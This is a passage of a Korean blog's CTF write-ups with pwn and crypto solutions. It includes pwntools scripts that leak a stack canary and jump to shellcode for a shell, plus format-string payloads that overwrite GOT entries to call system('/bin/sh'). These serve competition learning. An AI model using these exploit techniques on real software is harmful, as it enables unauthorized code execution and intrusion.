    if ( !(unsigned int)std::string::compare(input, 0LL, 5LL, "sudo ") )
    {
      sudomode = 1;
      user_backup = user_now;
      sudo_user = (User *)operator new(0x28uLL);
      User::User(sudo_user, 1LL);
      user_now = sudo_user;
      std::string::replace(input, 0LL, 5LL, &unk_4177);
    }
    if ( !(unsigned int)std::string::compare(input, 0LL, 3LL, "su ") )
    {
      std::string::replace(input, 0LL, 3LL, &unk_4177);
      std::string::basic_string(v29, input);
      v5 = (User *)operator new(0x28uLL);
      User::User(v5, (__int64)v29);
      user_now = v5;
      std::string::~string(v29);
      v21 = std::string::end(input);
      __gnu_cxx::__normal_iterator<int const*,std::vector<int>>::__normal_iterator<int *>(&v23, &v21);
      v20 = std::string::begin(input);
      __gnu_cxx::__normal_iterator<int const*,std::vector<int>>::__normal_iterator<int *>(&v22, &v20);
      std::string::replace(input, v22, v23, &unk_4177);
    }
    if ( (unsigned __int8)std::string::empty(input) != 1 )
      break;
LABEL_19:
    if ( sudomode )
    {
      if ( user_now )
      {
        std::__shared_ptr<std::filesystem::__cxx11::_Dir,(__gnu_cxx::_Lock_policy)2>::~__shared_ptr(user_now);
        operator delete(user_now, 0x28uLL);
      }
      user_now = user_backup;
    }
  }
  if ( (unsigned int)std::string::compare(input, "exit") )
  {
    if ( !(unsigned int)std::string::compare(input, "help") )
    {
      help_message = std::operator<<<std::char_traits<char>>(
                       &std::cout,
                       "Command list: id, su <user>, sudo <command>, exit, flag");
      std::ostream::operator<<(help_message, &std::endl<char,std::char_traits<char>>);
    }
    else if ( !(unsigned int)std::string::compare(input, "id") )
    {
      v7 = std::operator<<<std::char_traits<char>>(&std::cout, "uid=");
      v8 = User::getuid(user_now);
      std::to_string((std::__cxx11 *)v28, v8);
      v9 = std::operator<<<char>(v7, v28);
      v10 = std::operator<<<std::char_traits<char>>(v9, "(");
      grpc::Status::error_message[abi:cxx11](v29, user_now);
      v11 = std::operator<<<char>(v10, v29);
      v12 = std::operator<<<std::char_traits<char>>(v11, ")");
      std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
      std::string::~string(v29);
      std::string::~string(v28);
    }
    else if ( !(unsigned int)std::string::compare(input, "flag") )
    {
      if ( (unsigned __int8)User::isroot(user_now) )
      {
        if ( sudomode != 1 )
        {
          getflag();
        }
        else
        {
          v13 = std::operator<<<std::char_traits<char>>(&std::cout, "Cannot print flag in sudo mode :(");
          std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
        }
      }
      else
      {
        v14 = std::operator<<<std::char_traits<char>>(&std::cout, "You are not root :(");
        std::ostream::operator<<(v14, &std::endl<char,std::char_traits<char>>);
      }
    }
    else
    {
      v15 = std::operator<<<std::char_traits<char>>(&std::cout, "Command not found: ");
      v16 = std::operator<<<char>(v15, input);
      std::ostream::operator<<(v16, &std::endl<char,std::char_traits<char>>);
    }
    goto LABEL_19;
  }
  std::string::~string(v27);
  std::string::~string(input);
  return 0;
}

(IDA로 disassemble한 코드)

24솔이지만, 코드가 꽤 어질어질하다.

디버깅하느라 writeup 통틀어서 익스 이해하는데 제일 고생한것 같다..

 

이 정도로 많이 풀릴 문제였나 싶어서 꽤 당황스러웠다.





 

익스에서 벌어지는 일은 대략 다음과 같다

1. "sudo ": sudo에서 root가 켜져있는 계정을 할당했다가, LABEL_19에서 지운다.

2. su에서는 다시 계정을 할당하는데, uid랑 이름만 덮어서 root 여부가 오염되어있는 그대로 남아있다.

3. 이로 인해 다시 할당받은 계정이 root 권한을 가지게 되며, flag를 획득할 수 있다.

 


4.2. BLIND BUT NO BLIND





 

코드는 주어지지 않았지만, NX bit이 꺼져있다.

또한 입력받는 buffer의 주소, canary 주소, rbp를 준다.

 

그래서, (canary 주소)-(buffer 주소)개의 문자를 입력하면

canary의 null byte는 '\n'이 덮으면서 뒤의 canary가 leak된다.

 

그리고 다음과 같이 입력을 1번 더 줄 수 있는데,

shellcode를 실행시키도록 스택을 잘 덮어주면 된다.

 

from pwn import *

r=remote("43.200.163.250","31339")

context.arch = "amd64"

shellcode=asm(shellcraft.sh())

r.recvline()
buffer = int(r.recvline()[-15:-1],16)
rbp = int(r.recvline()[-15:-1],16)
canary = int(r.recvline()[-15:-1],16)

r.sendlineafter(b': ',b'A'*(canary-buffer))
r.recvuntil(b': ')
print(r.recv(canary-buffer+1))
canary_value=b'\x00'+r.recv(7)

payload=shellcode
payload+=b'A'*(canary-buffer-len(payload))
payload+=canary_value
payload+=p64(rbp)
payload+=p64(buffer)

r.sendlineafter(b': ',payload)
r.interactive()

 

스택을 덮을때는 canary를 잘 덮고,

sfp는 shellcode가 잘 돌아갈 수 있게 의미있는 값을 덮고,

ret은 우리가 실행시킬 쉘코드가 있는 곳으로 한다.

 


4.3. OVERSPACE

시간 배분 계획이 꼬여버린 가장 큰 요인이었다.

복잡하게 생각하다 fsb를 터뜨려야 하는것도 gpt 덕에 알았고,

익스에도 뒤에 언급할 착각 때문에  거의 2시간 넘게 걸렸던것 같다.

진짜로 BOB 3차과정 어카냐





 

우선, NX와 Partial RELRO 말고 딱히 걸려있는건 없다.

int func()
{
  int result; // eax
  size_t v1; // rax
  int i; // [rsp+10h] [rbp-E0h]
  int v3; // [rsp+14h] [rbp-DCh]
  FILE *stream; // [rsp+18h] [rbp-D8h]
  char format[64]; // [rsp+20h] [rbp-D0h] BYREF
  char buf[64]; // [rsp+60h] [rbp-90h] BYREF
  char dest[48]; // [rsp+A0h] [rbp-50h] BYREF
  char s[32]; // [rsp+D0h] [rbp-20h] BYREF

  memset(s, 0, sizeof(s));
  memset(dest, 0, sizeof(dest));
  memset(buf, 0, sizeof(buf));
  memset(format, 0, sizeof(format));
  result = setup();
  for ( i = 0; i < 2; ++i )
  {
    puts("[File List]");
    puts("$ pwd");
    system("pwd");
    puts("$ ls -al /tmp");
    system("ls -al /tmp");
    printf("Input file name >> ");
    s[read(0, s, 0x20uLL) - 1] = 0;
    printf("Input file content >> ");
    read(0, buf, 0x40uLL);
    strcpy(dest, "/tmp/");
    strcat(dest, s);
    stream = fopen(dest, "w+");
    v1 = strlen(buf);
    fwrite(buf, v1, 1uLL, stream);
    fseek(stream, 0LL, 2);
    v3 = ftell(stream);
    fseek(stream, 0LL, 0);
    fread(format, 1uLL, v3, stream);
    printf("%s : ", dest);
    printf(format);
    unlink(dest);
    fclose(stream);
    result = i + 1;
  }
  return result;
}

(IDA로 disassemble한 코드)

여기서 가장 까다로웠던건,

null 이전까지만 format에 복사되기 때문에,

그 이후 내용을 printf에서 참조할 수 없다고 착각했다.

사실 같은 format이 아닌 buffer에서 참고하면 되는건데...

 

때문에 나는 fclose가 첫 루프에서 호출되지 않아

fclose의 got 값이 낮음을 이용해 이를 func로 덮고,

i의 최상위 바이트를 0x80으로 덮어 루프를 계속 돌게 했다.

 

다음에는 주소를 한번씩 입력해서 스택간의 거리차를 계산해

한번에 strlen_got을 system의 plt주소로 덮고,

 

그 뒤에는 file content에 /bin/sh를 입력해

system("/bin/sh")를 실행시켰다.

 

from pwn import *

r=remote("43.200.163.250","14414")
#r=process("./overspace")

#36:sfp
#37:ret
#gdb.attach(r)
system=0x401090
system_got=0x404048
strlen_got=0x404040
fclose_got=0x404038
func=0x401290

r.sendlineafter(b'>> ',b'BBBBBBBBCCCCCCCC')
payload=f'%{0x1290}c'.encode()
payload+=b'%12$hn'
payload+=b'A'*(0x10-len(payload))
payload+=p64(fclose_got)
#
r.sendlineafter(b'>> ',payload)

for i in range(3):
    r.sendlineafter(b'>> ',b'bb')
    r.sendlineafter(b'>> ',p64(strlen_got+4-2*i))
#[(0, 4210756), (64, 4210754), (4240, 4210752)]
payload=b''
payload+=b'%106$hn'
payload+=b'%64c'
payload+=b'%74$hn'
payload+=b'%4176c'
payload+=b'%42$hn'
r.sendlineafter(b'>> ',b'bb')
r.sendlineafter(b'>> ',payload)

r.sendlineafter(b'>> ',b'bb')
r.sendlineafter(b'>> ',b'/bin/sh')

r.interactive()
r.close()

 

착각 때문에 상당히 코드가 길어졌는데,

만약 fsb에 익숙하지 않다면 위에서

언급한 사항을 활용해 직접 짜보기를 추천한다.

 

위에 코드가 너무 복잡하다면, 위에 언급한 사항을 활용해

더 간단히 작성한 아래쪽을 참조하는걸 추천한다.

 

더보기

from pwn import *

r=remote("43.200.163.250","14414")
#r=process("./overspace")

system=0x401090
strlen_got=0x404040

#strlen_got+4, strlen_got+2, strlen_got에
#0x00, 0x40, 0x1090 덮어야 함.
#format, buf은 printf 기준 각각 10, 18번째

offset=18 #printf에서 buf의 위치
n=4       #payload에서 주소 앞부분의 길이

payload=b''
payload+=f'%{offset+n+2}$hn'
payload+=f'%{0x40}c'
payload+=f'%{offset+n+1}$hn'
payload+=f'%{0x1090-0x40}c'
payload+=f'%{offset+n}$hn'
payload+='A'*(8*n-len(payload))

payload=payload.encode()
payload+=p64(strlen_got)
payload+=p64(strlen_got+2)
payload+=p64(strlen_got+4)

r.sendlineafter(b'>> ',b'bb')
r.sendlineafter(b'>> ',payload)

r.sendlineafter(b'>> ',b'bb')
r.sendlineafter(b'>> ',b'/bin/sh')

r.interactive()
r.close()


5. CRYPTO


5.1. PRIME BATTLE V1

#!/usr/bin/python3
from Crypto.Util.number import long_to_bytes, getPrime, bytes_to_long
import os
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

class Person:
    def __init__(self, BITS):
        self.key = getPrime(BITS)
        self.limit = BITS
    def out(self):
        if self.limit == 0:
            return bytes_to_long(os.urandom(1)) & 1
        else:
            self.limit -= 1
            o = self.key & 1
            self.key >>= 1
            return o



if __name__ ==  "__main__":
    with open("flag.txt",'rb') as f:
        FLAG = f.read()
    Alice = Person(1024)
    BoB = Person(1024)

    key = (Alice.key << 1024) ^ BoB.key
    key = hashlib.sha256(long_to_bytes(key)).digest()

    aes = AES.new(key, AES.MODE_CBC, b'||Alice-vs-BoB||')
    FLAG_enc = aes.encrypt(pad(FLAG, 16))
    res = ''
    for i in range(2048):
        o1 = Alice.out()
        o2 = BoB.out()
        if o1 == o2:
            if o1 == 0:
                res += 'i'
            else:
                res += 'I'
        if o1 != o2:
            if o1 == 0:
                res += 'l'
            else:
                res += "1"

    with open('output','w') as f:
        f.write(res)
        f.write('\n')
        f.write(FLAG_enc.hex())

 

Crypto에서 제일 쉬운 문제였고, 그만큼 솔버도 많았다.

output 첫 줄에 주어지는 iIl1로 이루어진,

소위 "바코드"를 통해 key를 완벽하게 복구 할 수 있다.

from Crypto.Util.number import long_to_bytes, getPrime, bytes_to_long
import os
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

clue="Iili1ii1llllIIiil1I1lIiIll11II1111iIII1IIlIIl1lIIlliIIiI1Ii1l11llIillilliIl1illiiil1ilIII1iI11IllIIIIil1iIi1i1lii1Il1l11lllIl11Ii111i11IIiIIIlIiIliillIli1IlI11iIlIil1il1lllIi1iiillIi1i1IlIIill1iIi1Il1lIIilIl1IiIl1l1IiIll11I1lii1l11liiIlIll1ll111IllIii11ilililllIl11l1iIiii1ii1ll11IliIil1111I11l1IlIlI1IiIII1ilIllIiiIll1Ill1i1ll1ilIl1IillII1I1I1i1i1I11IIIiiI1il1111iiIilII1lll1iI1lIIliillI1iiIiillIiii1I1l1iliiliIIIillilIIii1lI1liI1lI1lI1lill11iI1IIIiI11I1IlIll1i1iilliilliIIIili1iIl1111llII1II1iliIIili11iiIIIllIlii11i1IIil1lli1l1I1l1IiliIIil1IIiI1lilI1IilI1i1lil11illIlII1I1l1IiliiIIIIl11iilll1i1111I1111iIIIiIllIiliI111i1iilIi11ili1llIiI1i1iiillIlIIIll1IilIIIIiiIilIIi11I1i1I1i1lI1lllil1lll1i1i11lli1Iii11ililIliIlili1llI1Iiill1lilIll11I11iIIlll111iiIi1IIiIl111I1IIIl1il1l1l11ii11IiI11Ii1lIll1I111111iiiIIIiiiillilllIlI1l1iiilIIiilI1Iilillli1I1lllliIlli1ili11Illl1lI1II1i111iI1iIIlI1lliliIl1llIllIIIi11Ii1111lllI1lil1Iiliii111l1ii1Ill1liIlIi11IlII11Illiiil1IIllllilillilIil1lilli1lliI1llliIllliiliilIl1IlIllllili1IIliII1II1I1II1i1lli1ii1lliil1111i1I1iilllll11l1ii11III1iiIlil1lI1l1liIlIil11Iiil11I1IIl1IiIi111IliIli1lIIllI1lllliilIiilIiIillllIiIlllI11iil1iiiIillIi111Ililillllil1liiIliiil11il1l1l1iilIl111liilliiIlIIi1lliilI1Ii1l1llllilI111lIi1Ii11llI11I1ii1ll1lIIiiI11ll1iilIilillI11lIIIlI1i1IlIliilil1i1l11I1ilI1l1Ii1Iil11i1iI11Iiiilli1ll1iIlIIlIiillI1llilII1I11l11IIliiI1iill1iIil1111Ill11ill1iI1Il11Iiiil1I1lI1i11IIiilIIiI11ili1l11l11i1iI1liII11lllIl111iIliIiIl1il1I11I1liIIililiI11111li1IliIIl1IIllliII1III1l11111IliIliiiiliI1IIiIii1Iiil1l11IIlIl11iI1I11liliil11ii1IIlllIIi1Ii111IIi11liiil1I1111lli1lil1llllllIIliII1Iii1lliIiI1liliIli11iIl1I111lIIiI1I1I11I1iiI1iiIIIlIiiIIi11IlliIi11lliIiiIlIlIlIilIlliIIi1IIlliII1i1iliIl1i1liIl1lliiI11IiiIilI1III1liii1lilII1l1l1i11liIiIiIII1IIlIIiil111ll1il1l1Ii1I1Ii1I1illliilIIi111llI1I1Il1I1I1iIi1liIiIII111IIillIIII11Il1111IliIIi11l1Il11IlIlI11ii11IiiI1111I1Iii11lI1iiIlllilIIiiIilIll1Il1lliiiil11I1iillI1lIIIi1ilil1iiillIiillil1iIlii11ili1illlIi1iI111IIIIil1ill1iiI11IiI11I1l1lII1i1li1iIiIl1lII1l1li1i"
enc="bf7f80129d68e97de31d220fd97c095b60a06554fc4280f39ae9ca09186c8320f2ad975959cc94a62571aec89d65096b"
clue=clue[:1024][::-1]
enc=bytes.fromhex(enc)
key1,key2=0,0
for i in range(1024):
    key1<<=1
    key2<<=1
    c=clue[i]
    if c in ['I','1']:
        key1|=1
    if c in ['I','l']:
        key2|=1
key = (key1 << 1024) ^ key2
key = hashlib.sha256(long_to_bytes(key)).digest()
aes = AES.new(key, AES.MODE_CBC, b'||Alice-vs-BoB||')
print(aes.decrypt(enc))

 

key의 상위 비트부터 1비트씩 추출하고, 복호화를 진행한다.

 


5.2. FIRECURSIVE

from Crypto.Util.number import *
import hashlib
fire = 189
p = 2**256 - fire; assert isPrime(p)
import random; random.seed(p)
v = [random.randint(0, p) for _ in range(fire)]
c = [[random.randint(0, p) for _ in range(fire)] for _ in range(fire)]
inner = lambda a, b: sum([x * y for x, y in zip(a, b)]) % p
for _ in range(random.randint(0, p)):
    for i in range(fire): v[i] = inner(v, c[i])
print(f"hspace{{{hashlib.sha256(str(v).encode()).hexdigest()}}}")

 

개인적으로 Crypto에서 제일 어려운 문제 아니었을까 싶다.

(주분야인걸 감안하면 대회 전체에서?)

50분 가까이 삽질하던 문제였다.

 

일단 random.seed가 고정되어있기 때문에 v, c, 그리고 루프 횟수 모두 고정되어 있다.

v, c는 각각 길이가 189인 벡터, 크기가 189x189인 행렬이라고 할 수 있고,

문제에서 가장 헤맸던 부분은 루프를 돌며 v를 초기화 하는 부분이었다.

 

어려움을 겪었던 부분은 다음 2가지이다.

 

1. 행렬의 거듭제곱에 생각보다 많은 시간이 소모된다!

나는 numpy를 거의 쓸 줄 모르고 sage를 애용하는데, 

sage에서 GF(p)나 Zmod(p)에서 행렬을 정의하면 행렬 곱셈 하나에 수십초가 걸린다.

때문에 온갖 실수를 할 때마다 피드백이 쉽지 않았고,

결국 정수 위에 정의하고 p로 나눈 나머지를 구하는 식으로 직접 구현했다.

 

2. 루프에서 이루어지는게 c*v가 아니다!

저게 c*v와 동일한 작업인 줄 알았는데,

행 하나와 내적할 때 마다 매번 v가 바뀌는 방식이라 다르다!!

다만 결국 v의 값에 따라 선형이라는 점은 변하지 않아 

w*v가 같은 값을 가지게 하는 행렬 w가 존재한다.

 

위에서 말한 w를 구하고, 이를 거듭제곱해 v에 곱하는 방식으로 접근했다.

from Crypto.Util.number import *
import hashlib
fire = 189
p = 2**256 - fire; assert p in Primes()
import random; random.seed(int(p))
v = [random.randint(0, p) for _ in range(fire)]
c = [[random.randint(0, p) for _ in range(fire)] for _ in range(fire)]
inner = lambda a, b: sum([x * y for x, y in zip(a, b)]) % p
w = list(identity_matrix(fire))
W = []
for idx in range(fire):
    wi=list(w[idx])
    for i in range(fire): wi[i] = inner(wi, c[i])
    W.append(wi)

W = Matrix(ZZ,W).transpose()
D = identity_matrix(fire)

r=random.randint(0, p)
while r:
    if r&1:
        D*=W
        D%=p
    W*=W
    W%=p
    r>>=1
    print(r)

v = vector(Zmod(p),v)
v = list(D*v)
print(f"hspace{{{hashlib.sha256(str(v).encode()).hexdigest()}}}")

 

1. wi를 넣고 계산해 W의 각 열을 계산한다.

2. 이를 통해 W의 거듭제곱 D를 구한다.

3. D*v를 구한다

4. Profit!

 


5.3. N&&N

from Crypto.Util.number import *
import math, random, json
import sys
sys.set_int_max_str_digits(100000)
flag = "hspace{}"

secret = int.from_bytes(flag.encode(), "big")

size = 30

primes = [getPrime(256) for _ in range(size * 2)]
ns = [primes[2 * i] * primes[2 * i + 1] for i in range(size)]
phis = [(primes[2 * i] - 1) * (primes[2 * i + 1] - 1) for i in range(size)]

n = math.prod(ns)
phi = math.prod(phis)

e = 0x10001
d = pow(e, -1, phi)
ct = pow(secret, e, n)
assert pow(ct, d, n) == secret

hint = math.prod(random.sample(primes, 3))

json.dump({"ns": ns, "ct": ct, "hint": hint, "len": len(flag)}, open("data", "w"))

 

난이도 상으로는 충분히 솔버가 꽤 나올법했다고 생각하는데,

1솔이 끝까지 터지지 않은게 0솔이 된 이유 아니었나 싶다.

 

30개의 소수 쌍의 곱들인 ns와,

60개의 소수 중 3개의 곱인 hint가 주어진다.

 

hint와 소수 쌍 중 하나의 소수만 가지고 있다면,

둘의 gcd를 통해 소수를 추출해낼 수 있다!

 

from Crypto.Util.number import *
import math, json
import sys

sys.set_int_max_str_digits(100000)

data = json.load(open("data", "r"))

ns = data["ns"]
ct = data["ct"]
hint = data["hint"]
length = data["len"]

total_n = 1
total_phi = 1
for n in ns:
    g = math.gcd(hint, n)
    if g in [1, n]:
        continue
    p, q = g, n // g
    phi = (p - 1) * (q - 1)
    total_n *= n
    total_phi *= phi
assert total_n.bit_length() > length * 8

e = 0x10001
d = pow(e, -1, total_phi)
pt = pow(ct, d, total_n)
print(long_to_bytes(pt))

 

다음과 같이 gcd가 1이 아닌 경우,

소수를 추출했다고 전제하고 인수분해를 진행한다.

 

flag의 길이가 162로 1296비트이고,

두 소수의 곱이 대략 512비트 쯤이므로

대략 3개의 n을 인수분해해야 flag를 온전히 복구할 수 있다.

 

때문에 가능한 많은 n을 인수분해 하도록 하고,

인수분해한 n들의 곱이 flag보다 큰지 확인하도록 했다.

 


5.4. PRIME BATTLE V2

#!/usr/bin/python3
from Crypto.Util.number import long_to_bytes, getPrime, bytes_to_long
import os
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

class Person:
    def __init__(self, BITS):
        self.key = getPrime(BITS)
        self.limit = BITS
    def out(self):
        if self.limit == 0:
            return bytes_to_long(os.urandom(1)) & 1
        else:
            self.limit -= 1
            o = self.key & 1
            self.key >>= 1
            return o



if __name__ ==  "__main__":
    with open("flag.txt",'rb') as f:
        FLAG = f.read()
    Alice = Person(1024)
    BoB = Person(1024)

    hint = Alice.key * BoB.key
    key = (Alice.key << 1024) ^ BoB.key
    key = hashlib.sha256(long_to_bytes(key)).digest()

    aes = AES.new(key, AES.MODE_CBC, b'||Alice-vs-BoB||')
    FLAG_enc = aes.encrypt(pad(FLAG, 16))
    res = ''
    for i in range(2048):
        o1 = Alice.out()
        o2 = BoB.out()
        if o1 == o2:
            res += 'i'
        else:
            res += 'I'
    with open('output','w') as f:
        f.write(res + '\n')
        f.write(f'{hint = }' + '\n')
        f.write(FLAG_enc.hex())

 

Prime Battle v1과 거의 비슷하지만,

각 비트가 같은지 혹은 다른지만 알 수 있다.

대신, 두 수의 곱을 알려준다!

 

우선 1,1에서 시작해서, 1비트씩 늘려가며

불가능한 케이스는 지워나가면서 접근했다.

 

from Crypto.Util.number import long_to_bytes, getPrime, bytes_to_long
import os
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad


hint = 15795210193250407785192395634261473304438348759747575243437938601996318522680594387766594050600777205447217086022845903475263865825498599997746666116420830374179864030159468330899795157515728952582406983605831707259184151239155002057337311728287973301307026332124507035373406190121724254963242638045309327648476024096640419409571337845758896129316283180789388135235461152685748066050332293711556703509386889957366375086607341284796287243387348547517576659705260519496825590202737066768879922476188692257912962049426919434168301295921902518554284611065392488268462947722359472415063692958778566423095470209942731085277
clue = "iiIIIiiIIiiIiIiiiIIiIiiIiiIIiIIIiIiIIIIIiIIIIIiiiiIIiIiiIiIiIiIiIIIIiiIIiIiiiIiIIiiIIIiiIIiIiiIiiIIIiiIiiiIiIiiIiiIiIiiIiiIIiIiIiiiiiiIIIIIiIIIiiiiIiIIIiIiiiIIIiIiiiiiIiiiiiIIIiiIIIiIiIIiiIIiiiiIIiiiIIIiiIIiIIiiiiiIIIIIiiIiiiIIiIiiIiIIiiIIiiiiIIIIIiiiiiIiIiIIiIIiIIIIiIIiiIiiiIIiiIiIIiiIIiiIIiiIIiiIIiiIIiIIiiIIIIiiIIIiiiIiIIIIiIIiiIIiiIiIiIIiiIIiIIiIIiIIIIiIIIIIIIiiiiIiIiiiIiIIIiIiiIIIiiiiIIiiiIiIiIiiiiIiIiIiIIiIiIIiIIIiiiIIIiiIIiiIiIiiIIIiIiIiiiiIiIiIiiiIIIiIiIiIiIIiiiiiIIiIIiIIIIIiiiiIIiIiiIIiIIIiIIiIIIIIIIiiiiIIIiiIIiIiIIiIiiIIIiIiIIiIiIiiIiiiIiiIiiiiIiiIIiIIIiiIIiIIiIIIIIiIIIiiIIIIIIIiIIiIiIiiIIiiiiIIiiiiIIIIiIiIiiIiiiiIIiiIIiIiiiiiIIIIIiIIiiiiiiIIIIiIIiiIiiiIiiIiIiiiIiIiIiiIIIIIiiIiIiiIiiiIiiIIiiiIiIIIIiIiiIiiIiIiIiiiiiIIIIiIiIiIIiIiiIIIIIiIIIiiIiIiiIiiIiiiIiiIIiIiIiIiiiiiIiiIIIIiiiIIIiiIiiIiiIIiiiIiiIiiiiiIIIiiiiiiIiIiIiIIIIIIIIiiiIIiiiiiIIIiIIiiiIiIiiiiIIIiiIiIIiiiiIIiiIiIiiIIIiiIiIIIiIIiIiiIIiIiiiiiiIIIIIiIiiIiIIiiiiiiiIiIIIiIiIIIIiIIiIiIiiIiiIiiiiiIiiIIiIIiIiiIIIiIiIIIIIiiIiiiIIiIiiiIiIiIiIiIiiiIiIiIiiIiiIiiiiIIiIiiIiiiiiIiiIIIiIIiIiIiiIiIiIIiIiiIiIiIIIIiIiIiIIIIiIiIIiiiiiiiiIiIiIiIiiIiIIiiiIiiIiiiIiIIiIIIiiIiiiIIiIiiiIiIiIiiiiiIiiiiiiIIiiiiiiiiIIIIIIiIiIIiiiiiiiiIIIiiiiIIiIIIIIIiiIiIIIiIIiIiIiiIIiIIIIIIIiIiiIIIIiiiIiiIiIIIIIiIiIiiiIIIiIiiiIIIIiIIIiIIiiIIiIIiiIiIiIiiIiiIiIIiiIIIiiiIIiIiiiIIiiIIIIIIiIiIIIiiiIIiIiiIIIIIiiIIIiIIiiiIiIIIiiIIiIiIiiIIIIIiIiIiIIiiiiiiiIIIIiiiiiiiiiIiIiiIiiIIIiIIiIiIIIiiIIiIiIIiiIIiIIIiiIiiIiIiiIiIIiiiiiIiIIIiIIIiIiIIIIIIiIiIIIiIIIiiIIiIiIIiIIIiIiIiIiIiiiiIIiiiiIiIiIiIIIiIIiiIiIIIiIiIIiiiIiiIIiIiIiiIIiIiIiiIiIiiiIIIIIIIIIIIIIiIIiIIiIiiIiIIIIiiIIIiIIIiiIiiiiIIIiiiIIiiIiiIIIIIiiIiiIIiiIIiIiiiIIiIiIiIiiIiiIiIiiIiiIiiIiiIIIiiIIIiIIiIiIIiiiiIiIIIiiiiIiiIiiIiiiiiiiIIIiiiIiIiIiiIiiIIiIIIIIIIiIIiiIiiiiiiiiIIiIiiiiiiIIIiiiIiiIIiiiIIIiIiIiIiiiiIiIIIIIiIIIiiiiIiIIiIiIIIIiiiIiIiiIIiiIIIIIIIIIIIiIIIiiiiiIIiIiIiiiIiIiIIIIIiiIIIiiiIiIiiiiIIIIiiiiIiiIiIiIIIIIIiiIIIiIIIIIiiIIIiIiiiIiiiiIiIiiiiiIiiiIiiiIIIiiIIIiIiiIIiIiIiiiIIiIiiIiiiIIIiiIIiIIiIiIIIiIiIIIIiIIiiiiiIIIiiiIIiiIIIiIIiIIiIiiIiiIIiIIiIi"
enc = "c6189fdc80199166634664e00d9de03778c3a6563c21fc247576daf2528073ca070b7122e4f955bdfd18c584c1caaee4058deca3c9f052344e3f1398e53f681b"
clue = clue[:1024]
enc = bytes.fromhex(enc)

state = [(1, 1)]
for i in range(1, 1024):
    new_state = []
    mask = (1 << (i + 1)) - 1
    if clue[i] == "i":
        for s in state:
            k1, k2 = s
            s0 = (k1, k2)
            s1 = (k1 | (1 << i), k2 | (1 << i))
            if (s0[0] * s0[1]) & mask == hint & mask:
                new_state.append(s0)
            if (s1[0] * s1[1]) & mask == hint & mask:
                new_state.append(s1)
    else:
        for s in state:
            k1, k2 = s
            s0 = (k1 | (1 << i), k2)
            s1 = (k1, k2 | (1 << i))
            if (s0[0] * s0[1]) & mask == hint & mask:
                new_state.append(s0)
            if (s1[0] * s1[1]) & mask == hint & mask:
                new_state.append(s1)
    state = new_state

for s in state:
    if s[0] * s[1] != hint:
        continue
    key1, key2 = s
    key = (key1 << 1024) ^ key2
    key = hashlib.sha256(long_to_bytes(key)).digest()
    aes = AES.new(key, AES.MODE_CBC, b"||Alice-vs-BoB||")
    print(aes.decrypt(enc))
#hspace{D0_y0u_kn0w_BFS_1S_V3RY_Great_skill?__0_0!!}

 

우리가 추측하는 key의 비트 수를 늘려가면서, 

가능한 경우의 수만 state에 저장하여 남겼다.

 

최종적으로 남은 여러 케이스 중,

실제 곱이 hint와 같은 경우에 대해서만 복호화를 진행했다.

 

자연히 BFS(너비우선탐색)과 같은 형태를 띄게 되었는데,

만약 모른다면 DFS와 같이 찾아보고 공부하는걸 추천한다.



좋아요공감
공유하기

게시글 관리

구독하기ks의 잡다한 블로그


'CTF > WRITEUP' 카테고리의 다른 글

ACSC 2024 Quals writeup  (0) 2024.04.07 KalmarCTF 2024 writeup  (0) 2024.03.19
2024 Feb Space WAR (Crypto) writeup  (3) 2024.02.25

ks의 잡다한 블로그_ks 님의 블로그입니다.구독하기
댓글8
 * Sechack
   
   gosu
   
   2023. 12. 28. 01:02답글
   더보기
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     sugo
     
     2024. 1. 1. 10:13답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * diff
   
   :fan: 이에요
   
   2023. 12. 31. 21:10답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     우와!!!! 새해 복 많이 받으세요!!!
     
     2024. 1. 1. 01:19답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * gss1
   
   돈 많이 벌게 해주세요
   
   2023. 12. 31. 23:33답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     좋은 문제 감사했습니다!!!! 새해 복 많이 받으세요!!!
     
     2024. 1. 1. 01:20답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * sk_
   
   감사합니다
   
   2024. 1. 4. 00:16답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     도플갱어ㄷㄷㄷ
     
     2024. 2. 25. 12:44답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기

비밀글등록


N1CTF 2023 후기(뒷북)

_ks 2023. 12. 31. 10:16
2023. 12. 31. 10:16

평소와 같이 CyKor로 참여했다.

 

D-CTF랑 겹쳤던걸로 기억하고,

사실 다들 바빠서 안 건드린것 같은데

나한테 CTF는 휴식의 개념에 가까워서..ㅋㅋ

 



사이트가 날아갔지만 다행히 트위터에 순위가 남아있었다!



 

e2W@rmup 외 Crypto 문제들을 해결했다.

 

올해 내가 참가한 대회 중에서, 크립토 문제의 퀄리티로는

코게 본선 바로 다음정도 아니었나 싶다.

 

덕분에 2달 뒤 카포CTF에서 얻어맞기 전까지는

뭐든 풀 수 있다는 자신감이 넘쳐났던것 같다.

좋아요공감
공유하기

게시글 관리

구독하기ks의 잡다한 블로그


'CTF > 후기' 카테고리의 다른 글

ACSC 2024 Quals 후기  (0) 2024.03.31 2024 Feb Space WAR (Crypto) 후기  (3)
2024.02.25 Dreamhack X-mas CTF 2023 후기  (8) 2023.12.27

ks의 잡다한 블로그_ks 님의 블로그입니다.구독하기
댓글8
 * Sechack
   
   gosu
   
   2023. 12. 28. 01:02답글
   더보기
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     sugo
     
     2024. 1. 1. 10:13답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * diff
   
   :fan: 이에요
   
   2023. 12. 31. 21:10답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     우와!!!! 새해 복 많이 받으세요!!!
     
     2024. 1. 1. 01:19답글
     더보기
